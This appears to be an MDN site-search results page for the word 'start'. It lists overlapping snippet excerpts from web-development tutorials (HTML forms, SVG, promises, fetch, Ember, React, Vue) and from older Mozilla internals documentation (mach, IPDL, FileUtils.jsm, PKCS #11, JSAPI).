start.html file. now delete the contents of the <body> element, and replace it with the following: <form> <div> <label for="choose">would you prefer a banana or a cherry?</label> <input type="text" id="choose" name="i_like" required minlength="6" maxlength="6"> </div> <div> <label for="number">how many would you like?</label> <input type="number" id="number" name="amount" value=...
...And 2 more matches
Test your skills: Basic controls - Learn web development
u've understood our basic native form controls article. note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. basic controls 1 this task
starts you off nice and gently by asking you to create two <input> elements, for a user's id and password, along with a submit button. create appropriate inputs for user id and password. you should also associate them with their text labels semantically. create a submit button inside the remaining list item, with button text of "log in". try updating the live code below to recreate the finished ...
...by asking you to create two <input> elements, for a user's id and password, along with a submit button. create appropriate inputs for user id and password. you should also associate them with their text labels semantically. create a submit button inside the remaining list item, with button text of "log in". try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. basic controls 2 the next task requires you to create working sets of checkboxes and radio buttons, from the provided text labels. turn the first <fieldset>'s contents into a set of radio buttons — you should only be able to select one pony character at once. make it so that the first radio button is selected upon ...
... turn the first <fieldset>'s contents into a set of radio buttons — you should only be able to select one pony character at once. make it so that the first radio button is selected upon page load. turn the second <fieldset>'s content into a set of checkboxes. add a couple more hotdog choices of your own. ...
...And 2 more matches
Debugging HTML - Learn web development
previous overview: introduction to html next writing html is fine, but what if something goes wrong, and you can't work out where the error in the code is? this article will introduce you to some tools that can help you find and fix errors in html. prerequisites: html familiarity, as covered in, for example, getting
started with html, html text fundamentals, and creating hyperlinks. objective: learn the basics of using debugging tools to find problems in html. debugging isn't scary when writing code of some kind, everything is usually fine, until that dreaded moment when an error occurs — you've done something wrong, so your code doesn't work — either not at all, or not quite how you wanted it to. for example, the following shows an error reported ...
...utes: another common source of html problems. let's look at an example: </strong> </li> html validation so you can see from the above example that you really want to make sure your html is well-formed! but how? in a small example like the one seen above, it is easy to search through the lines and find the errors, but what about a huge, complex html document? the best strategy is to
start by running your html page through the markup validation service — created and maintained by the w3c, the organization that looks after the specifications that define html, css, and other web technologies. this webpage takes an html document as an input, goes through it, and gives you a report to tell you what is wrong with your html. to specify the html to validate, you can provide a web add...
...eting the error messages the error messages are usually helpful, but sometimes they are not so helpful; with a bit of practice you can work out how to interpret these to fix your code. let's go through the error messages and see what they mean. you'll see that each message comes with a line and column number to help you to locate the error easily. "consider adding a lang attribute to the html
start tag to declare the language of this document.": this is not an error but a warning. the recommendation is to always define a language, and this warning explains how to do it. "end tag li implied, but there were open elements" (2 instances): these messages indicate that an element is open that should be closed. the ending tag is implied, but not actually there. the line/column information points ...
...And 2 more matches
Adding vector graphics to the Web - Learn web development
a black drop shadow. the difference is that the left one is a png, and the right one is an svg image. the difference becomes apparent when you zoom in the page — the png image becomes pixellated as you zoom in because it contains information on where each pixel should be (and what color). when it is zoomed, each pixel is simply increased in size to fill multiple pixels on screen, so the image
starts to look blocky. the vector image however continues to look nice and crisp, because no matter what size it is, the algorithms are used to work out the shapes in the image, with the values simply being scaled as it gets bigger. note: the images above are actually all pngs — with the left-hand star in each case representing a raster image, and the right-hand star representing a vector image...
...ofile="full" width="300" height="200" xmlns="http://www.w3.org/2000/svg"> <rect width="100%" height="100%" fill="black" /> <circle cx="150" cy="100" r="90" fill="blue" /> </svg> this creates the following output: from the example above, you may get the impression that svg is easy to handcode. yes, you can handcode simple svg in a text editor, but for a complex image this quickly
starts to get very difficult. for creating svg images, most people use a vector graphics editor like inkscape or illustrator. these packages allow you to create a variety of illustrations using various graphics tools, and create approximations of photos (for example inkscape's trace bitmap feature.) svg has some additional advantages besides those described so far: text in vector images remains acc...
... svg can get complicated very quickly, meaning that file sizes can grow; complex svgs can also take significant processing time in the browser. svg can be harder to create than raster images, depending on what kind of image you are trying to create. svg is not supported in older browsers, so may not be suitable if you need to support older versions of internet explorer with your web site (svg
started being supported as of ie9.) raster graphics are arguably better for complex precision images such as photos, for the reasons described above. note: in inkscape, save your files as plain svg to save space. also, please refer to this article describing how to prepare svgs for the web. adding svg to your pages in this section we'll go through the different ways in which you can add svg vect...
...And 2 more matches
Responsive images - Learn web development
t so that its center always stays in the center of the header, no matter what width the heading is set at. if the site is being viewed on a narrower screen, the important detail in the center of the image (the people) can still be seen, and the excess is lost off either side. it is 200px high. the content images have been set so that if the body element becomes smaller than the image, the images
start to shrink so that they always stay inside the body, rather than overflowing it. however, issues arise when you
start to view the site on a narrow screen device. the header below looks ok, but it's
starting to take up a lot of the screen height for a mobile device. and at this size, it is difficult to see the people within the first content image. an improvement would be to display a cropped ...
...of the image which displays the important details of the image when the site is viewed on a narrow screen. a second cropped image could be displayed for a medium width screen device, like a tablet. this is commonly known as the art direction problem. in addition, there is no need to embed such large images on the page if it is being viewed on a mobile screen. and conversely, a small raster image
starts to look grainy when displayed larger than its original size (a raster image is a set number of pixels wide and a set number of pixels tall, as we saw when we looked at vector graphics). this is called the resolution switching problem. conversely, it is unnecessary to display a large image on a screen significantly smaller than the size it was meant for. doing so can waste bandwidth; in particul...
...his is essentially the same problem, but in a slightly different context. you might think that vector images would solve these problems, and they do to a certain degree — they are small in file size and scale well, and you should use them wherever possible. however, they aren't suitable for all image types. vector images are great for simple graphics, patterns, interface elements, etc., but it
starts to get very complex to create a vector-based image with the kind of detail that you'd find in say, a photo. raster image formats such as jpegs are more suited to the kind of images we see in the above example. this kind of problem didn't exist when the web first existed, in the early to mid 90s — back then the only devices in existence to browse the web were desktops and laptops, so browser e...
...And 2 more matches
HTML table basics - Learn web development
prerequisites: the basics of html (see introduction to html). objective: to gain basic familiarity with html tables. what is a table ? a table is a structured set of data made up of rows and columns (tabular data). a table allows you to quickly and easily look up values that indicate some kind of connection between different types of data, for example a person and their age, or a day of the week, or the timetable for a local swimming pool. ...
...you should visit our styling tables article after you've finished here. we won't focus on css in this module, but we have provided a minimal css stylesheet for you to use that will make your tables more readable than the default you get without any styling. you can find the stylesheet here, and you can also find an html template that applies the stylesheet — these together will give you a good
starting point for experimenting with html tables. when should you not use html tables? html tables should be used for tabular data — this is what they are designed for. unfortunately, a lot of people used to use html tables to lay out web pages, e.g. one row to contain the header, one row to contain the content columns, one row to contain the footer, etc. you can find more details and an example a...
....</td> <td>i'm your second cell.</td> <td>i'm your third cell.</td> <td>i'm your fourth cell.</td> as you will see, the cells are not placed underneath each other, rather they are automatically aligned with each other on the same row. each <td> element creates a single cell and together they make up the first row. every cell we add makes the row grow longer. to stop this row from growing and
start placing subsequent cells on a second row, we need to use the <tr> element ('tr' stands for 'table row'). let's investigate this now. place the four cells you've already created inside <tr> tags, like so: <tr> <td>hi, i'm your first cell.</td> <td>i'm your second cell.</td> <td>i'm your third cell.</td> <td>i'm your fourth cell.</td> </tr> now you've made one row, have a go at mak...
...And 2 more matches
Introducing asynchronous JavaScript - Learn web development
they can help us solve such problems. prerequisites: basic computer literacy, a reasonable understanding of javascript fundamentals. objective: to gain familiarity with what asynchronous javascript is, how it differs from synchronous javascript, and what use cases it has. synchronous javascript to allow us to understand what asynchronous javascript is, we ought to
start off by making sure we understand what synchronous javascript is. this section recaps some of the information we saw in the previous article. a lot of the functionality we have looked at in previous learning area modules is synchronous — you run some code, and the result is returned as soon as the browser can do so. let's look at a simple example (see it live here, and see the source): const b...
...de to wait until the response is returned before it tries to do anything else to it. there are two main types of asynchronous code style you'll come across in javascript code, old-style callbacks and newer promise-style code. in the below sections we'll review each of these in turn. async callbacks async callbacks are functions that are specified as arguments when calling a function which will
start executing code in the background. when the background code finishes running, it calls the callback function to let you know the work is done, or to let you know that something of interest has happened. using callbacks is slightly old-fashioned now, but you'll still see them in use in a number of older-but-still-commonly-used apis. an example of an async callback is the second parameter of the ad...
...t can happen when we are not fully aware of code execution order and the problems of trying to treat asynchronous code like synchronous code. the following example is fairly similar to what we've seen before (see it live, and the source). one difference is that we've included a number of console.log() statements to illustrate an order that you might think the code would execute in. ...
...And 2 more matches
Graceful asynchronous programming with Promises - Learn web development
eing able to respond to it being returned, whenever that is. and of course, it's nice that it doesn't block the rest of the code execution. one of the most common engagements you'll have with promises is with web apis that return a promise. let's consider a hypothetical video chat application. the application has a window with a list of the user's friends, and clicking on a button next to a user
starts a video call to that user. that button's handler calls getusermedia() in order to get access to the user's camera and microphone. since getusermedia() has to ensure that the user has permission to use those devices and ask the user which microphone to use and which camera to use (or whether to be a voice-only call, among other possible options), it can block until not only all of those decision...
...it then calls getusermedia(), asking for a stream that has both video and audio tracks, then once that's been obtained, sets up a video element to show the stream coming from the camera as a "self view," then takes each of the stream's tracks and adds...
...l resolved promise is said to be rejected. it returns a reason, an error message stating why the promise was rejected. this reason can be accessed by chaining a .catch() block onto the end of the promise chain. running code in response to multiple promises fulfilling the above example showed us some of the real basics of using promises. now let's look at some more advanced features. for a
start, chaining processes to occur one after the other is all fine, but what if you want to run some code only after a whole bunch of promises have all fulfilled? you can do this with the ingeniously named promise.all() static method. this takes an array of promises as an input parameter and returns a new promise object that will fulfil only if and when all promises in the array fulfil. it looks somet...
...And 2 more matches
Test your skills: Conditionals - Learn web development
he user an appropriate message about the season. if not, it should assign a generic string to response that tells the user we don't know what season it is. to finish off, you should then add another test that checks whether season contains the string "winter", and again assigns an appropriate string to response. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. conditionals 2 for this task you are given three variables: machineactive — contains an indicator of whether the answer machine is switched on or not (true/false) score — contains your score in an imaginary game. this score is fed into the answer machine, which provides a response to indicate how well you did. r...
...ovement." score of 40 to 69 — "you did a passable job, not bad!" score of 70 to 89 — "that\'s a great score, you really know your stuff." score of 90 to 100 — "what an amazing score! did you cheat? are you for real?" try updating the live code below to recreate the finished example. after you've entered your code, try changing machineactive to true, to see if it works. ...
... conditionals 4 for the final task you are given four variables: machineactive — contains an indicator of whether the login machine is switched on or not (true/false). pwd — contains the user's login password. ...
...And 2 more matches
Test your skills: Functions - Learn web development
— such as creating new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page — all via javascript. we haven't explicitly taught this yet in the course, but you'll have seen some examples that make use of it, and we'd like you to do some research into what dom apis you need to successfully answer the questions. ...
......
...of the rectangle. width — the width of the rectangle. height — the height of the rectangle. color — the color of the rectangle. you'll want to clear the canvas before drawing, so that when the code is updated in the case of the live version, you don't get lots of rectangles drawn on top of one another. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. functions 3 in this task, you return to the problem posed in task 1, with the aim of improving it. the three improvements we want you to make are: refactor the code that generates the random number into a separate function called random(), which takes as parameters two generic bounds that the random number should be b...
...And 2 more matches
Test your skills: Loops - Learn web development
— such as creating new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page — all via javascript. we haven't explicitly taught this yet in the course, but you'll have seen some examples that make use of it, and we'd like you to do some research into what dom apis you need to successfully answer the questions. a good
starting place is our manipulating documents tutorial. loops 1 in our first looping task we want you
start by creating a simple loop that goes through all the items in the provided myarray and prints them out on the screen inside list items (i.e., <li> elements), which are appended to the provided list. download the
starting point for this task to work in your own editor or in an online editor. l...
...our own editor or in an online editor. loops 2 in this next task, we want you to write a simple program that, given a name, searches an array of objects containing names and phone numbers (phonebook) and, if it finds the name, outputs the name and phone number into the paragraph (para) and then exits the loop before it has run its course. you are given three variables to begin with: i —
starts off with a value of 0; intended to be used as an iterator. name — contains a name to search for para — contains a reference to a paragraph, which will be used to report the results. you should use a type of loop that you've not used in the previous task. download the
starting point for this task to work in your own editor or in an online editor. loops 3 in this final task, you are p...
... para — contains a reference to a paragraph, which will be used to report the results. ...
...And 2 more matches
Fetching data from the server - Learn web development
request our data from a database. here, however, we want to keep it simple and concentrate on the client-side part of this. xmlhttprequest xmlhttprequest (which is frequently abbreviated to xhr) is a fairly old technology now — it was invented by microsoft in the late '90s, and has been standardized across browsers for quite a long time. to begin this example, make a local copy of ajax-
start.html and the four text files — verse1.txt, verse2.txt, verse3.txt, and verse4.txt — in a new directory on your computer. in this example, we will load a different verse of the poem (which you may well recognize) via xhr when it's selected in the drop-down menu. just inside the <script> element, add the following code. this stores a reference to the <select> and <pre> elements in constan...
...ocument.queryselector('pre'); versechoose.onchange = function() { const verse = versechoose.value; updatedisplay(verse); }; let's define our updatedisplay() function. first of all, put the following beneath your previous code block — this is the empty shell of the function. note: steps 4 - 9 will all be performed within this function. function updatedisplay(verse) { } we'll
start our function by constructing a relative url pointing to the text file we want to load, as we'll need it later. the value of the <select> element at any time is the same as the text inside the selected <option> (unless you specify a different value in a value attribute) — so for example "verse 1". the corresponding verse text file is "verse1.txt", and is in the same directory as the html file, t...
...rch term, or both. there is quite a lot of complex code that deals with filtering the products by category and search terms, manipulating strings so the data displays correctly in the ui, etc. we won't discuss all of it in the article, but you can find extensive comments in the code (see can-script.js). we will however explain the fetch code. the first block that uses fetch can be found at the
start of the javascript: fetch('products.json').then(function(response) { return response.json(); }).then(function(json) { let products = json; initialize(products); }).catch(function(err) { console.log('fetch problem: ' + err.message); }); the fetch() function returns a promise. if this completes successfully, the function inside the first .then() block contains the response returned from th...
...And 2 more matches
Test your skills: Arrays - Learn web development
k on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version). arrays 1 let's
start off with some basic array practice. in this task we'd like you to create an array of three items, stored inside a variable called myarray. the items can be anything you want — how about your favourite foods or bands? next, modify the first two items in the array using simple bracket notation and assignment. then add a new item to the beginning of the array. try updating the live code below to...
... we'd like you to create an array of three items, stored inside a variable called myarray. the items can be anything you want — how about your favourite foods or bands? next, modify the first two items in the array using simple bracket notation and assignment. then add a new item to the beginning of the array. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. arrays 2 now let's move on to another task. here you are provided with a string to work with. we'd like you to: convert the string into an array, removing the + characters in the process. save the result in a variable called myarray. store the length of the array in a variable called arraylength. store the last item...
...are provided with a string to work with. we'd like you to: convert the string into an array, removing the + characters in the process. save the result in a variable called myarray. store the length of the array in a variable called arraylength. store the last item in the array in a variable called lastitem. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. arrays 3 for this final array task, we provide you with a
starting array, and you will work in somewhat the opposite direction. you need to: remove the last item in the array. add two new names to the end of the array. go over each item in the array and add its index number after the name inside parentheses, for exa...
...And 2 more matches
Test your skills: Math - Learn web development
ork on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version). math 1 let's
start out by testing your knowledge of basic math operators. you will have to create four numeric values, then add the first two together, then subtract the fourth from the third, then multiply the two secondary results together to get a result of 48. finally, we need to write a test that proves that this value is an even number. so, try updating the live code below to recreate the finished example, f...
...d and store the result in another variable. multiply the results from the last two steps together, storing the result in a variable called finalresult. the product should be 48. if it isn't, you'll have to adjust some of the initial input values. finally, write a calculation that checks whether finalresult is an even number. store the result in a variable called evenoddresult. download the
starting point for this task to work in your own editor or in an online editor. math 2 in the second task you are already provided with two calculations, with the results stored in the variables result and result2. but these results aren't what we want; you'll need to take the calculations and change them to give us what we want. what do we want? after multiplying the two results together and forma...
...nalresult using typeof; you'll probably see that it is actually of string type! write a line of code that converts it to a number type, storing the result in a variable called finalnumber. the value of finalnumber needs to be 10.42. go back and update the original calculations you were provided with so that they give this final result. don't update the numbers or the operators. download the
starting point for this task to work in your own editor or in an online editor. math 3 in the final task for this article, we want you to write some tests. you've got three groups, each consisting of a statement and two variables. for each one, write a test that proves or disproves the statement made. store the results of those tests in variables called weightcomparison, heightcomparison, and pwdmat...
...And 2 more matches
Routing in Ember - Learn web development
've been working with, but we will need to reorganize it a bit to handle a different view for the "active" and "completed" todos. an ember application has a default "application" route, which is tied to the app/templates/application.hbs template. because that application template is the entry point to our todo app, we'll need to make some changes to allow for routing. creating the routes let's
start by creating three new routes: "index", "active" and "completed". to do this you’ll need to enter the following commands into your terminal, inside the root directory of your app: ember generate route index ember generate route completed ember generate route active the second and third commands should have not only generated new files, but also updated an existing file, app/router.js. it conta...
...he todomvc/app/templates/completed.hbs file so that when it includes the <todolist /> component, it does so explicitly with the available model, calling its completedtodos() getter to make sure only the completed todos are shown. in this file, change <todolist /> to <todolist @todos={{ @model.completedtodos }}/> the active route model finally for the routes, let's sort out our active route. ...
...pository for the code of this tutorial or see the live deployed version here. study the code to learn more about ember, and also check out the next article, which provides links to more resources and some troubleshooting advice. ...
...And 2 more matches
React resources - Learn web development
hem, it is possible to build react components using es6 classes – these are called class components. until the arrival of hooks, es6 classes were the only way to bring state into components or manage rendering side effects. they're still the only way to handle certain other, more edge-case features, and they’re very common in legacy react projects. the official react docs are a great place to
start learning about them. state and lifecycle in the react docs intro to react in the react docs read about javascript classes at mdn testing create-react-app provides some tools for testing your application out of the box — you may have deleted the relevant files earlier in the tutorial. the documentation for create-react-app covers some basics for testing. routing while routing is tradit...
...owever. reach router is well-suited to simpler applications, and automatically manages focus as the user navigates from page to page. focus management is essential in client-side routing — without it, keyboard users can be trapped in focus limbo, and screen-reader users may have no idea that they have moved to a new page. because reach router is better for accessibility, it's a good place to
start. ...
... place to
start. there's one caveat, however: these projects will be merging in the near future. when this merge happens, react router will be the surviving project (with the addition of the focus management features of reach). ...
...And 2 more matches
Creating our first Vue component - Learn web development
along the way, we'll learn about a few important concepts such as calling components inside other components, passing data to them via props, and saving data state. note: if you need to check your code against our version, you can find a finished version of the sample vue app code in our todo-vue repository. for a running live version, see https://mdn.github.io/todo-vue/dist/. ...
... value prop to be a javascript boolean type. your component object should now look like this: <script> export default { props: { label: { required: true, type: string }, done: { default: false, type: boolean } } }; </script> using registered props with these props defined inside the component object, we can now use these variable values inside our template. let's
start by adding the label prop to the component template. in your <template>, replace the contents of the <label> element with {{label}}. {{}} is a special template syntax in vue, which lets us print the result of javascript expressions defined in our class, inside our template, including values and methods. it’s important to know that content inside {{}} is displayed as text and not html. in this ...
...ultiple todoitem components to our app. in our next artcle we'll look at adding a set of todo item data to our app.vue component, which we'll then loop through and display inside todoitem components using the v-for directive. ...
...And 2 more matches
Handling common HTML and CSS problems - Learn web development
ht find that html generated by some kind of third party api (generating ad banners, for example) includes a class name or id that you are already using for a different purpose. to ensure this doesn't happen, you need to research the tools you are using first and design your code around them. it is also worth "namespacing" css, e.g. if you have a widget, make sure it has a distinct class, and then
start the selectors that select elements inside the widget with this class, so conflicts are less likely. for example .audio-player ul a. validation for html, validation involves making sure all your tags are properly closed and nested, you are using a doctype, and you are using tags for their correct purpose. a good strategy is to validate your code regularly. one service that can do this is the w3...
...t supporting modern features this is a common problem, especially when you need to support old browsers (such as old ie versions) or you are using features that are implemented using css prefixes. in general, most core html and css functionality (such as basic html elements, css basic colors and text styling) works across most browsers you'll want to support; more problems are uncovered when you
start wanting to use newer features such as flexbox, or html5 video/audio, or even more nascent, css grids or -webkit-background-clip: text. once you've identified a list of potential problem technologies you will be using, it is a good idea to research what browsers they are supported in, and what related techniques are useful. see finding help below. html fallback behaviour some problems can be so...
...eudo-classes and pseudo-elements like :nth-of-type, :not, ::selection, etc.) work. if you want to use these in your css and you need to support older ie versions, a good move is to use keith clark's selectivizr library — this is a small javascript library that works on top of an existing javascript library like jquery or mootools. to try this example, make a local copy of selectivizr-example-
start.html. if you look at this running live, you'll see that it contains two paragraphs, one of which is styled. we've selected the paragraph with p:first-child, which won't work in old versions of ie. now download mootools and selectivizr, and save them in the same directory as your sample html. put the following code into the head of your html document, just before the opening <style> tag: <scri...
...And 2 more matches
Obsolete Build Caveats and Tips
t !), or 2005 professional from build_instructions those who need to work with the code for firefox 3/mozilla 1.9 and earlier can check out the latest source using cvs. in reality, you should probably not need to do this, since that code is very obsolete. this note below seems redundant as this is true by default https://msdn.microsoft.com/en-us/library/dh8che7s%28v=vs.110%29.aspx note:
starting with gecko 7.0, you should no longer include "-zc:wchar_t-" in the command line when building on windows. if you're using visual studio, go to project properties > c/c++ > language > treat wchar_t as built-in type and set it to "yes". from source_code/mercurial mozilla-2.0 (firefox 4.0) code for the firefox 4.0 (gecko 2.0) release lives in releases/mozilla-2.0. to get this code, do the f...
...g/releases/mozilla-1.9.2/ 192src cd 192src mozilla-1.9.1 (firefox 3.5) code for the firefox 3.5 (gecko 1.9.1) release lives in releases/mozilla-1.9.1. to get this code, do the following: # pull the mozilla source to the folder 191src/ - may take a while # as hundreds of megabytes of history is downloaded to .hg hg clone https://hg.mozilla.org/releases/mozilla-1.9.1/ 191src cd 191src note:
starting with gecko 5.0, you can actually build firefox without a .mozconfig file. by default, a similar-to-release build is done. from windows_sdk_versions visual c++ 9 (vs2008) professional/express download and install the windows 7 sdk. note that you need service pack 1--for the express edition it is a separate download. visual c++ 8 (vs2005) professional download and install the windows 7...
...this microsoft hotfix to allow linking to work correctly. visual c++ 7.1 or visual c++ 8 (vs2005) express these versions are not supported and the windows 7 sdk will not work with them. you need to upgrade to one of the newer visual c++ versions above. for gecko 11 or below: you could also download the windows vista sdk and follow the instructions there to allow you to build against it.
starting with gecko 12.0, this sdk is necessary. note: while this configuration will probably build on mozilla-1.9.1 and mozilla-1.9.0, it is not supported. warning: due to a bug in old versions of mozillabuild (prior to 1.6), if you download version 7.1 of the windows 7 sdk (which is the current version available), your build will fail, often while building cairo with "ocidl.h" errors. in order...
...And 2 more matches
mach
the mozconfig from the object directory. $ cd objdir-firefox $ mach build adding mach to your shell's search path if you add mach to your path (by modifying the path environment variable to include your source directory, or by copying mach to a directory in the default path like /usr/local/bin) then you can type mach anywhere in your source directory or your objdir. mach expands relative paths
starting from the current working directory, so you can run commands like mach build . to rebuild just the files in the current directory. for example: $ cd devtools/client $ mach build webconsole # rebuild only the files in the devtools/client/webconsole directory $ mach mochitest webconsole/test # run mochitests in devtools/client/webconsole/test enable tab completion to enable tab completion in...
... current directory. for example: $ cd devtools/client $ mach build webconsole # rebuild only the files in the devtools/client/webconsole directory $ mach mochitest webconsole/test # run mochitests in devtools/client/webconsole/test enable tab completion to enable tab completion in bash, run the following command. you can add the command to your .profile so it will run automatically when you
start the shell: source /path/to/mozilla-central/python/mach/bash-completion.sh this will enable tab completion of mach command names, and in the future it may complete flags and other arguments too. note: mach tab completion will not work when running mach in a source directory older than firefox 24. for zsh, you can call the built-in bashcompinit function before sourcing: autoload bashcompinit b...
...ou an error, while running, say bootstrap.py directly (that is to type in a bash shell: python2 ./bootstrap.py enter-key ) in an otherwise empty ..../subdir/ may work for you! less may be better! and mach's error messages tend to be cryptic and not utterly helpful. that above bootstrap.py will download and setup everything so you can build a mozilla app such as firefox etcetera, so it is a nice
starting point. why should i use mach? you should use mach because it provides a better and more unified developer experience for working on mozilla projects. if you don't use mach, you have to find another solution for the following problems: discovering what commands or make targets are available (mach exposes everything through mach help while inside "mozilla-central" , else you'll just get a ...
...And 2 more matches
Message manager overview
to any frame scripts that are listening for it. ...
...ll content tabs in that window. ...
...oad a script into every tab using the global message manager, but then send a message to the script instance loaded into a specific tab by using the browser message manager. ...
...And 2 more matches
Embedding Tips
normally it provide some functionality that is required from lots of places such as looking up preference settings, creating new windows, locating files, displaying prompt or password dialog boxes and so on. embedders may wish to override some of the default service implementations with their own. for example, the default prompt service uses xul to render prompt dialogs and embedders may wish to render them in a way more appropriate for their application and platform.. ...
...listener() method. use the callbacks for after-the-fact cancellation. alternatively, implement a nsiuricontentlistener as described below. how do i watch/intercept a load before it happens? implement the nsiuricontentlistener interface, and register it with the appropriate web browser object via the nsiwebbrowser::parenturicontentlistener attribute. watch for changes in nsiuricontentlistener::on
starturiopen(). you can abort the uri load at this point if you don't want it to proceed. if necessary you may also implement the nsiuricontentlistener::ispreferred(), returning pr_true to ensure you are always the preferred uri handler and are called no matter what the content type. how do i copy items to the clipboard? obtain the nsiclipboardcommands interface from the appropriate web browser obje...
...alues that are needed for the upload to succeed. how do i know when saving is done, monitor progress etc.? register your ownnsiwebprogresslistener object to listen for progress and state notifications. here is a simple example which demonstrates the principle. the simplepersist() function takes a string url and a string file path. in response it creates a persist object, creates a listener and
starts the operation. as the operation progresses, methods on the listener such as onstatechange, onprogresschange etc. are called, allowing the embedder to know what is happening. when the operation is completed, the onstatechange will be notified by a combination of state_stop | state_is_network state flags. you may also use the progress listener to query the request supplied in onstatechange for mo...
...And 2 more matches
Extending a Protocol
the tutorial is designed for beginners and will walk you through all the steps you need to get things working. the tutorial is designed for browser engineers who are implementing dom/web apis that need to, for example, send a message to the os or spin up something off the main thread - so it's biased towards supporting w3c/whatwg dom apis. what are we going to implement? tl:dr: you can see the final implementation of pecho.ipdl as a diff in phabricator. ...
...se<domstring> echo(domstring somestring); }; learning goals are: extending an existing ipdl protocol. simple message passing. working with mozpromises and js promises. managing child actors with reference counting. visually, it's going to look something like this (except for the operating system bit, which we are not actually going to do - just to illustrate what we could do): let's
start by implementing the webidl above. implementing the navigator.echo() in your favorite editor, open dom/webidl/navigator.webidl at the end of the file, add: partial interface navigator { [throws] promise<domstring> echo(domstring astring); }; now we need to implement the echo() method in c++, so open up ./dom/base/navigator.h and let's add the method definition, so under public:: a...
...we will try to compile our code as we go, noting what we need to do along the way. to be sure, ipdl looks like a crazy mix of webidl, c++ header files, and es6. the syntax should hopefully be fairly obvious though. unfortunately, it's not really fully documented anywhere - and the ipdl parser gets easily confused (hence us excluding comments below). creating the protocol pecho.ipdl let's
start by saving the following file to ./dom/ipc/pecho.ipdl. we will explain what all the parts mean below. note that the file's name and the protocol name must match. include protocol pwindowglobal; namespace mozilla { namespace dom { async refcounted protocol pecho { manager pwindowglobal; parent: async echo(nscstring data) returns (nscstring aresult); async __delete__(); }; } // namespace d...
...And 2 more matches
FileUtils.jsm
parameter to pr_open perms_file 0644 default permissions when creating files. perms_directory 0755 default permissions when creating directories methods getfile() gets a file at the specified hierarchy under a nsidirectoryservice key. nsifile getfile( string key, array patharray, bool followlinks ); parameters key the nsidirectoryservice key to
start from (see getting special files for more info) patharray an array of path components to locate beneath the directory specified by key. the last item in this array must be the leaf name of a file. followlinks optional true if links should be followed, false otherwise. return value returns a nsifile object for the file specified. the file is not created if it does not exist, however all requ...
...se. return value returns a nsifile object for the file specified. the file is not created if it does not exist, however all required directories along the way are. getdir() gets a directory at the specified hierarchy under a nsidirectoryservice key. nsifile getdir( string key, array patharray, bool shouldcreate, bool followlinks ); parameters key the nsidirectoryservice key to
start from (see getting special files for more info) patharray an array of path components to locate beneath the directory specified by key. shouldcreate optional true if the directory hierarchy specified in patharray should be created if it does not exist, false otherwise. followlinks optional true if links should be followed, false otherwise location specified. return value returns a nsifile...
...file, int modeflags ); parameters file the file to write to. modeflags optional file open flags (see constants above) return value returns nsifileoutputstream (the non-safe variant) to write to. openatomicfileoutputstream() opens an atomic file output stream for writing. note: 'safe' and 'atomic' file output streams will never append; they will always overwrite an existing file.
starting in gecko 38.0, passing mode_append without mode_truncate will throw an exception. nsifileoutputstream openatomicfileoutputstream( nsifile file, int modeflags ); parameters file the file to write to. modeflags optional file open flags (see constants above) return value returns nsifileoutputstream (the safe variant) to write to. note: openatomicfileoutputstream() is generally b...
...And 2 more matches
PKCS11 Implement
ure versions of netscape server products will also support of pkcs #11 version 2.0. how nss calls pkcs #11 functions this section is organized according to the categories used in pkcs #11: cryptographic token interface standard, version 2.0. to understand this section, you should be familiar with the standard specification. general-purpose functions c_initialize the nss calls c_initialize on
startup or when it loads a new module. the nss always passes null, as required by the pkcs #11 specification, in the single c_initialize parameter preserved. c_finalize the nss calls c_finalize on shutdown and whenever it unloads a module. c_getfunctionlist the nss calls c_getfunctionlist on
startup or when it loads a new module. the function list returned should include all the pkcs 2.0 function...
...the version numbers, manufacturer ids, and so on are displayed when the user views the information. ...
...le. the version numbers, manufacturer ids, and so on are displayed when the user views the information. the supplied library names are used as the default library names; currently, these names should not include any double quotation marks. (this is more restrictive than pkcs 2.0 and may change in future versions of nss.). ...
...And 2 more matches
JSAPI User Guide
s require a file *. global objects. lastly, the global object contains all the classes, functions, and variables that are available for javascript code to use. whenever javascript code does something like window.open("http://www.mozilla.org/"), it is accessing a global property, in this case window. jsapi applications have full control over what global properties scripts can see. the application
starts out by creating an object and populating it with the standard javascript classes, like array and object. then it adds whatever custom classes, functions, and variables (like window) the application wants to provide; see custom objects below. each time the application runs a js script (using, for example, js_evaluatescript), it provides the global object for that script to use. as the script runs...
... this is very much like the javascript statement throw new error("command failed with exit code " + rc);. again, note that calling js_reporterror does not cause a c++ exception to be thrown. it only creates a new javascript error object and stores it in the context as the current pending exception. the application must also return false. once the c++ function returns false, the javascript engine
starts unwinding the javascript stack, looking for a catch or finally block to execute. but spidermonkey's stack unwinding never removes application's c++ functions from the stack. instead, spidermonkey simply returns false or nullptr to the application, which can then handle the error as it chooses—or just return false to let it propagate further up the stack. several more examples of throwing and ...
...n on the stack in that jscontext. if so, then the exception might yet be caught, so spidermonkey does nothing and returns false, allowing the exception to propagate. but if nothing is on the javascript stack, then the uncaught exception is passed to the error reporter and the pending exception is cleared. the basic consequence is that top-level application code can just set an error reporter and
start calling jsapi functions. it never has to explicitly handle uncaught exceptions; the error reporter is automatically called. an application can disable automatic uncaught-exception handling using the jsoption_dont_report_uncaught option, but it must then deal with uncaught exceptions explicitly by calling js_isexceptionpending, js_getpendingexception, js_reportpendingexception, and/or js_clearpend...
...And 2 more matches
Parser API
. note: this page describes spidermonkey-specific behavior and might be incomplete. visit estree spec for a community ast standard that includes latest ecmascript features and is backward-compatible with spidermonkey format. ...
...ring representing the ast variant type. each subtype of node is documented below with the specific string of its type field. you can use this field to determine which interface a node implements. the loc field represents the source location information of the node. ...
